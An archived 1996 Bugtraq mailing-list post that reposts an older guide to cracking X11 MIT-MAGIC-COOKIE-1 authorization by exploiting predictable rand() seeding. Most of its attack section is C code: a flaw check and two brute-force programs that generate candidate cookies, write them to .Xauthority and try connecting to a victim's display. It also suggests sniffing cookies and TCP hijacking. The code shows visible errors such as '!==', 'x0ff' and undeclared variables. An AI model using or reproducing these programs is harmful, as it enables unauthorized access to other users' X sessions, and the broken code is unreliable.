home *** CD-ROM | disk | FTP | other *** search
- Content-Type: TEXT/PLAIN; charset=US-ASCII
- Approved-By: General Scirocco <sciri@NEWHACKCITY.NET>
- Date: Thu, 1 Feb 1996 20:48:25 -0500
- Reply-To: Bugtraq List <BUGTRAQ@CRIMELAB.COM>
- Sender: Bugtraq List <BUGTRAQ@CRIMELAB.COM>
- From: General Scirocco <sciri@newhackcity.net>
- Subject: Re: bind() Security Problems
- X-To: Bugtraq List <BUGTRAQ@CRIMELAB.COM>
- To: Multiple recipients of list BUGTRAQ <BUGTRAQ@CRIMELAB.COM>
- In-Reply-To: <199602011736.AA183746180@l-ecn046.icaen.uiowa.edu>
-
- On Thu, 1 Feb 1996 dsiebert@icaen.uiowa.edu wrote:
-
- > How long before someone comes up with an exploit of X that intercepts the
- > incoming connections to the X server, getting around the security provided
- > the magic cookie mechanism?
-
- Can't you just sniff the plaintext cookies that are being sent across the
- network? If not, wouldn't a TCP/IP hijacking attack work as well? Also,
- you always have the following (which I can't take credit for, and it's
- pretty old):
-
- Cracking the MIT-MAGIC-COOKIE-1 authorization protocol.
-
- 1) Auth-data is generated from 16 successive random numbers.
- MIT-MAGIC-COOKIE-1 can use 2 different methods of seeding the random
- number generator:
-
- a) Using the process ID of xdm client & time of day in seconds
- b) Using the time of day in seconds & time of day in microseconds
- (that connection was established).
-
- 2) Process ID/time of day in microsecs is rotated left by 16 bits and added
- to the time of day in seconds:
-
- #ifdef ITIMER_REAL
- gettimeofday(&tod,&time_zone);
- a=tod.tv_secs;
- b=tod.tv_usecs;
- #else
- a=time(NULL);
- b=getpid();
- #endif
-
- seed=(a+(b<<16));
- srand(seed);
-
- for(i=0;i<16;i++)
- auth[i]=rand();
-
- 3) Some operating systems that use the traditional srand()/rand() functions
- have a mathematical flaw inherent in them that allows a faster method
- of cracking auth-data, or a brute force attack on a remote machine
- to which the user has no access.
-
- To determine if the target system's OS supports the rand() flaw, compile
- and run the following src code under that operating system.
- Two systems that support the flaw are SunOS4.1.x and FreeBSD.
- OSF/x does _NOT_ support the flaw.
-
- #include <stdio.h>
- main() {
- char auth[16];
- int i;
-
- srand(1);
- for(i=0;i<16;i++)
- auth[i]=rand()&0xff;
- srand(257);
- for(i=0;i<16;i++)
- if (auth[i]!=(rand()&0xff))
- exit(0);
- puts("System supports flaw.");
- }
-
- 4) If the program produces no output, then the OS does NOT support the flaw,
- and hence the long method should be used (see step 7-)
-
- [*] The flaw itself is that the low 8 bits of numbers produced by
- successive calls to rand() repeat in the same sequence with a period
- of 256. Consequently, under such Operating Systems, there are only
- 256 unique magic cookies that can ever be generated.
- It takes little longer than a second (on the local machine) to
- generate & test every one of these cookies.
-
- 5) Brute Force cracking of cookies generated using both methods
- (utilising rand()'s flaw)
-
- - The lower 8 bits of numbers produced by rand() follow a predictable
- pattern, and are a function of the lower 8 bits of the seed value.
- Hence, to crack the auth-data, trying auths generated with seed values
- 0x00-0xff will yield a matching auth-data set.
-
- The code for such a method is as follows:
-
- ------------------------cut--------here-----------------------
- #include <stdio.h>
- #include <fcntl.h>
- #include <sys/types.h>
- #include <X11/Xlib.h>
- #include <X11/Xauth.h>
-
- char buf[256];
-
- main(int argc, char **argv) {
- long dpy;
- char *ptr=(caddr_t)&dpy;
- int i,j;
- FILE *fd;
-
- puts("display:");
- gets(buf);
- sscanf(buf,"%d.%d.%d.%d:0.0",ptr[0],ptr[1],ptr[2],ptr[3]);
-
- cookie.family=0;
- cookie.address_length=4;
- cookie.address=ptr;
- cookie.number_length=1;
- cookie.number="0";
- cookie.name_length=18;
- cookie.name="MIT-MAGIC-COOKIE=1";
- cookie.data_length=16;
- cookie.data=auth;
-
- chdir(getenv("HOME"));
- if ((fd=fopen(".Xauthority","w"))==NULL)
- {
- perror("fopen");
- exit(1);
- }
-
- for(i=0;i<256;i++) {
- srand(i);
- for (j=0;j<16;j++)
- auth[j]=rand();
-
- rewind(fd);
- XauWriteAuth(fd,&cookie);
- fflush(fd);
-
- if (XOpenDisplay(buf)!==NULL) {
- puts("success!");
- puts("cookie added to .Xauthority");
-
- exit(0);
- }
- }
-
- fclose(fd);
- unlink(".hehe");
- puts("auth crack failed...");
- }
-
- --------------------------------cut-------here---------------
-
- 6) Lazy people may furthur narrow the search space by determining the time
- of day (in seconds) at which the X-connection was created, and using
- the lower 8 bits of that time as a seed (for an exact, one shot crack or as
- a starting approximation for a seed value...).
- This can be determined by intelligent means, such as fingering the user,
- checking utmp logs etc etc (see step 7 for a good method)
-
- 7) Cracking cookies generated by method 'a' (on systems without the flaw)
-
- - On operating systems such as OSF/x, the flaw is (to all intents and
- purposes) has been removed by reversing the major and minor nibbles
- (effectively, returning (rand()>>16) ).
-
- [*] The low 8 bits of the upper nibble (probably) repeat, but with
- a period of 2^24, making it too arduous to use brute force.
- Chances are, a login session would not last long enough for the
- cookie to be determined before the user logs out.
-
- - In order to crack a user's cookie, then, it is necessary to be able
- to find out the process id of the xdm handling a display (which
- would require being able to do a 'ps' on the machine serving the
- X-client), and to know the approximate time that the session was
- started.
-
- A good way to determine the time of day that the session was created
- is to locate the file that contains the server's copy of the authority
- data, and to stat the file and use the creation time (st_ctime)
- as the time component of the seed.
-
- Such files can be found in the authDir named in the xdm-config file
- (/usr/lib/X11/xdm/xdm-config -- or whatever follows the '-config' arg
- in xdm's command line) under DisplayManager.authDir .
-
- [*] Note: this timestamp may be off by a second:
- If the authority data is created on a second boundary, by the time
- the data is written to the file (and the file is created), the
- timestamp will be a second later than the actual value required.
-
- Should the generate data fail to work, try using the file's
- timestamp - 1 in the generation process.
-
- [*] It should also be noted that sometimes auth-files from old xdm
- sessions for the same display are also in the directory (ie
- several authfiles for the same display).
-
- The naming protocol for these files is something like:
-
- A-<display name>-<xdm pid>
-
- where the xdm pid is the number stored in the 'xdm-pid'
- file in the same directory.
-
- - A simple source (that uses the file timestamp idea outlined above)
- follows:
-
- ---------------------------cut---here------------------------------
- #include <stdio.h>
- #include <X11/Xauth.h>
- #include <sys/stat.h>
- #include <sys/types.h>
-
- main() {
- Xauth cookie;
- struct stat info;
- char buf[256],dpy[4],auth[16],disp[25];
- pid_t user_xdm;
- FILE *fd;
- int i,j;
- time_t now;
-
- puts("enter display (x.x.x.x:0.0)");
- gets(disp);
- sscanf(disp,"%d.%d.%d.%d:0.0\r",&dpy[0],&dpy[1],&dpy[2],&dpy[3]);
-
- /* NOTE that the id prompted for here is not the pid found
- in the xdm-pid file, but is the id of the session xdm process,
- which usually appears in a ps -a looking something like:
-
- -<display> (xdm)
- */
- puts("enter session xdm id:");
- scanf("%d\r",&user_xdm);
-
- /* the pathname of the server's auth_file */
- puts("enter FULL pathname of server's auth file");
- gets(buf);
-
- if (stat(buf,&info) {
- puts("Oops, couldn't find file");
- exit(1);
- }
- now=info.st_ctime;
-
- cookie.family=0;
- cookie.addr_length=4;
- cookie.addr=dpy;
- cookie.number_length=1;
- cookie.number="0";
- cookie.name_length=18;
- cookie.name="MIT-MAGIC-COOKIE-1";
- cookie.data_length=16;
- cookie.data=auth;
-
- chdir(getenv("HOME"));
- if ((fd=fopen(".Xauthority","w"))==NULL)
- {
- perror("fopen failed");
- exit(1);
- }
-
- for(i=0;i<2;i++) {
- srand(now+(user_xdm<<16));
- for(j=0;j<16;j++)
- auth[j]=rand()&x0ff;
- XauWriteAuth(fd,&cookie);
- fflush(fd);
- if (XOpenDisplay(disp)) {
- puts("cookie added to .Xauthority");
- fclose(fd);
- exit(0);
- }
- else {
- rewind(fd);
- now--;
- }
- }
- puts("Cookie not found!!!!");
- exit(1);
- }
-
- ----------------------------cut------------here---------------------
-
- 8) Cracking cookies generated by method b) (on systems without the flaw)
-
- - Good luck. The time of day is easily predicted by guesswork, or by
- statting the server's authfile, but the time of day in microseconds
- has to be guessed. Matters are made slightly easier by the fact
- that the time of day in milliseconds is left shifted by 16 bits
- (tv_msec << 16), and hence is only a 16-bit factor to deal with
- (iteratively trying 65536 microsecond timestamps is faster than
- 1,000,000).
-
- If a user has access to the machine, it will take at most 2*65536
- (accounting for the fact that the file's timestamp may be out by one
- second -- see 7) == 131072 iterations. Chances are slim that a user
- will stay logged on for a single session that long (console sessions
- are a possibility).
-
- 9) Attribution
-
- eris/Mr_X 10/1995
-
-
- "Your information is mine for free. But everything I can grab is secret
- unless you have something I want which can't be free-loaded, stolen or
- found somewhere else." - George C. Smith, The Virus Creation Labs
-
-